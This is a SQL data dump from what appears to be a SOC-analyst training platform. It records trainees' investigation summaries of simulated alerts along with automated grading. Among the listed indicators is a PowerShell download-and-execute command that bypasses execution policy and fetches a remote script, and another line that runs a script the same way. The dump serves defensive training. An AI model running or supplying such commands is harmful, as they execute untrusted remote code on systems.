(277, 184, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_hash\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/20/2026, 3:13:01 AM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-20T08:13:36.075Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"collect_forensics\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-20 08:05:25', '2026-02-28 21:00:00', 0, NULL),
(278, 184, 269, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/20/2026, 3:16:22 AM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-20T08:16:25.168Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-20 08:13:36', '2026-02-28 21:00:00', 0, NULL),
(279, 184, 270, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-20 08:16:25', '2026-02-20 08:16:25', 0, NULL),
(280, 185, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-20 08:58:30', '2026-02-20 08:58:30', 0, NULL),
(281, 185, 734, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.5\",\"ip-10.0.0.15\",\"domain-http://newve\",\"domain-newvendor.co\",\"artifact_1\"],\"selectedActions\":[],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/20/2026, 5:02:21 PM\\nALERT: False Positive Alert: Legitimate Email Flagged as Phishing\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.5\\n- [IP] 10.0.0.15\\n- [DOMAIN] http://newvendor.com/welcome\\n- [DOMAIN] newvendor.com\\n- [EMAIL] info@newvendor.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (0)\\n------------------------------\\n(No active containment measures)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-20T09:02:28.957Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Missed response actions (0/1)\",\"missed_items\":[\"close_alert\"],\"strengths\":\"Needs improvement\"}', NULL, '2026-02-20 08:59:08', '2026-02-28 21:00:00', 0, NULL),
(282, 185, 750, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.23\",\"ip-192.168.1.20\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/20/2026, 5:05:21 PM\\nALERT: Suspicious Email Detected - Potential False Positive\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 198.51.100.23\\n- [IP] 192.168.1.20\\n- [URL] https://example-trusted-site.com/document\\n- [EMAIL] trusted.source@example.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-20T09:05:24.412Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-20 09:04:33', '2026-02-28 21:00:00', 0, NULL),
(283, 185, 282, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.25\",\"ip-192.168.1.50\",\"hash-e99a18c4\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/20/2026, 5:07:37 PM\\nALERT: Malware Detected via Suspicious Process Execution\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 192.168.1.25\\n- [IP] 192.168.1.50\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [FILENAME] malicious.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-20T09:07:39.758Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-20 09:06:13', '2026-02-28 21:00:00', 0, NULL),
(284, 187, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-21 03:11:46', '2026-02-21 03:11:46', 0, NULL),
(285, 189, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/21/2026, 9:24:12 PM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-21T20:26:51.308Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"block_hash\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-21 19:38:33', '2026-02-28 21:00:00', 0, NULL),
(286, 189, 608, 'investigating', NULL, NULL, NULL, NULL, '2026-02-21 22:48:24', '2026-02-21 19:41:24', '2026-02-21 19:41:24', 0, NULL),
(287, 189, 269, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\nDATE: February 21, 2026, 10:03:11 PM\\nALERT: BlackEnergy Malware Execution [Operation: Iron Grid]\\nVERDICT: True Positive\\n\\nKEY FINDINGS\\n\\n    Internal IP: 192.168.1.45\\n    Malicious IP: 203.0.113.50\\n    File Hash: d41d8cd98f00b204e9800998ecf8427e\\n    Filename: invoice.doc\\n    Username: jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED\\n\\n    Isolated Host\\n    Blocked IP/Domain\\n    Blocked File Hash\\n    Collected Forensics\\n    Escalated to Tier 3\\n\\nANALYSIS\\nThe investigation was concluded based on verified telemetry and adherence to playbook protocols. All identified threats have been neutralized or escalated following standard operating procedures.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-02-21T21:06:02.500Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-21 20:26:51', '2026-02-28 21:00:00', 0, NULL),
(288, 189, 270, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"investigation executive summary:\\n\\nINVESTIGATION EXECUTIVE SUMMARY\\nDATE: February 21, 2026, 10:14:17 PM\\nALERT TITLE: Persistence Mechanism Established\\nOPERATION: Operation Iron Grid\\nVERDICT: True Positive\\n\\nKEY FINDINGS:\\n\\n    Malicious IP Address: 203.0.113.45\\n    Malware Hash: 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n    Internal IP Address: 10.0.1.15\\n    File Path: C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n    Compromised Username: compromised_user\\n\\nCONTAINMENT MEASURES IMPLEMENTED:\\n\\n    Host isolation\\n    IP/Domain blocking\\n    File hash blocking\\n    Forensic data collection\\n    Escalation to Tier 3\\n\\nANALYSIS:\\nThe investigation has been concluded following thorough verification of telemetry data and adherence to established playbook protocols. All identified threats have been effectively neutralized or escalated for further action as per standard operating procedures.\\n\\nSIGNED:\\nAmadou Mane\\nSenior SOC Analyst\",\"submitted_at\":\"2026-02-21T21:16:13.301Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (5/6)\",\"missed_items\":[\"reset_credentials\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-21 21:06:02', '2026-02-28 21:00:00', 0, NULL),
(289, 189, 271, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.101\",\"ip-10.0.0.5\",\"hash-5f4dcc3b\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n================================\\nDATE: February 21, 2026, 11:15:46 PM\\nALERT: Lateral Movement to OT Network [Operation: Iron Grid]\\nVERDICT: True Positive\\n\\nKEY FINDINGS\\n----------------\\n\\n    Source IP: 192.168.1.101\\n    Destination IP: 10.0.0.5\\n    Malicious Hash: 5f4dcc3b5aa765d61d8327deb882cf99\\n    Compromised Username: jdoe\\n    External IP: 203.0.113.55\\n\\nCONTAINMENT MEASURES IMPLEMENTED\\n---------------------------------\\n\\n    Host Isolation\\n    IP/Domain Blocking\\n    File Hash Blocking\\n    Forensic Data Collection\\n    Escalation to Tier 3\\n\\nANALYSIS\\n---------\\nThe investigation has been concluded based on corroborated telemetry and adherence to playbook protocols. All identified threats have been effectively neutralized or escalated following standard operating procedures.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-02-21T22:19:53.145Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"reset_credentials\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-21 21:16:13', '2026-02-28 21:00:00', 0, NULL),
(290, 189, 272, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.20\",\"hash-5d41402a\",\"artifact_2\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\nDATE: February 21, 2026, 11:27:53 PM\\nALERT: SCADA System Compromise [Operation: Iron Grid]\\nVERDICT: True Positive\\n\\nKEY FINDINGS (6)\\n\\n    [IP] 192.168.1.105\\n    [IP] 10.0.0.20\\n    [HASH] 5d41402abc4b2a76b9719d911017c592\\n    [IP] 203.0.113.45\\n    [FILENAME] malicious_script.sh\\n    [USERNAME] unauthorized_user\\n\\nCONTAINMENT MEASURES IMPLEMENTED (6)\\n\\n    Isolate Host\\n    Block IP/Domain\\n    Block File Hash\\n    Reset Credentials\\n    Collect Forensics\\n    Escalate to Tier 3\\n\\nANALYSIS\\nThe investigation has concluded based on validated telemetry and adherence to playbook protocols. All identified threats have been either neutralized or escalated according to standard operating procedures.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-02-21T22:29:17.197Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-21 22:19:55', '2026-02-28 21:00:00', 0, NULL),
(291, 189, 274, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.15\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"collect_forensics\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 1:31:44 AM\\nALERT: Phishing Attempt via Weaponized Job Offers [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.15\\n- [EMAIL] recruiter@example.com\\n- [FILENAME] JobOffer.docm\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou MANE\\nAnalyst\",\"submitted_at\":\"2026-02-22T00:32:12.388Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-21 22:30:34', '2026-02-28 21:00:00', 0, NULL),
(292, 189, 275, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.5\",\"hash-e99a18c4\",\"cmd-1\",\"artifact_1\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 1:34:17 AM\\nALERT: Malicious Code Execution on Developer Systems [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.5\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [COMMAND] powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\dev_user01\\\\malicious_script.ps1\\n- [USERNAME] dev_user01\\n- [FILENAME] malicious_script.ps1\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-02-22T00:34:34.538Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 00:32:14', '2026-02-28 21:00:00', 0, NULL);
INSERT INTO `investigations` (`id`, `user_id`, `alert_id`, `status`, `grade`, `feedback`, `executive_summary`, `ai_summary`, `ai_evaluation_scheduled_at`, `created_at`, `updated_at`, `is_reported`, `report_reason`) VALUES
(293, 189, 276, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-10.0.0.5\",\"ip-203.0.113.45\",\"hash-3f5d8f3e\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 1:36:27 AM\\nALERT: Establishing Persistence and Lateral Movement [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 10.0.0.5\\n- [IP] 203.0.113.45\\n- [HASH] 3f5d8f3e5c4c4099d2a3f3a7b9b7b6f1\\n- [USERNAME] jdoe\\n- [FILENAME] persistence_tool.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-02-22T00:36:41.956Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 00:34:34', '2026-02-28 21:00:00', 0, NULL),
(294, 189, 277, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.5\",\"hash-e3b0c442\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 1:38:25 AM\\nALERT: Cryptocurrency Exfiltration and Laundering [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.5\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [EMAIL] attacker@malicious.com\\n- [FILENAME] exfil_transaction_details.csv\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-02-22T00:38:38.823Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 00:36:41', '2026-02-28 21:00:00', 0, NULL),
(295, 189, 278, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-203.0.113.45\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/23/2026, 2:31:14 AM\\nALERT: Compromised Update Detected [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 203.0.113.45\\n- [HASH] e5d8870e5bdd26602c622b7e5b0f6b4c\\n- [FILENAME] lib_mgmt.dll\\n- [USERNAME] admin_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou Mane\",\"submitted_at\":\"2026-02-23T01:32:39.450Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 00:40:04', '2026-02-28 21:00:00', 0, NULL),
(296, 177, 934, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.89\",\"ip-192.168.10.10\",\"artifact_2\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 2:28:46 PM\\nALERT: Brute Force Login Attempts Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.89\\n- [IP] 192.168.10.10\\n- [USERNAME] administrator\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T08:59:19.881Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)\",\"missed_items\":[\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 08:54:54', '2026-02-28 21:00:00', 0, NULL),
(297, 177, 717, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.20\",\"domain-http://malic\",\"artifact_2\"],\"selectedActions\":[\"block_ip\",\"escalate\",\"collect_forensics\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 3:54:54 PM\\nALERT: Phishing Email with Malicious URL Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.20\\n- [DOMAIN] http://malicious-site.com/login\\n- [EMAIL] no-reply@trustedservice.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T10:25:32.586Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (0/2)\",\"missed_items\":[\"block_url\",\"reset_credentials\"],\"strengths\":\"Needs improvement\"}', NULL, '2026-02-22 10:22:37', '2026-02-28 21:00:00', 0, NULL),
(298, 177, 364, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"isolate_host\",\"escalate\",\"collect_forensics\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:02:48 PM\\nALERT: Suspicious Web Shell Detected on IIS Server [OP: Operation Soft Cell]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.45\\n- [FILENAME] shell.aspx\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T10:33:25.129Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 10:32:11', '2026-02-28 21:00:00', 0, NULL),
(299, 177, 365, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-9e107d9d\",\"cmd-1\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:05:52 PM\\nALERT: Anomalous PowerShell Activity Observed [OP: Operation Soft Cell]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 9e107d9d372bb6826bd81d3542a419d6\\n- [COMMAND] powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\"IEX (New-Object Net.WebClient).DownloadString(\'http://192.168.1.150/malicious.ps1\')\\\"\\n- [IP] 10.0.0.17\\n- [FILENAME] malicious.ps1\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T10:36:28.762Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 10:33:25', '2026-02-28 21:00:00', 0, NULL),
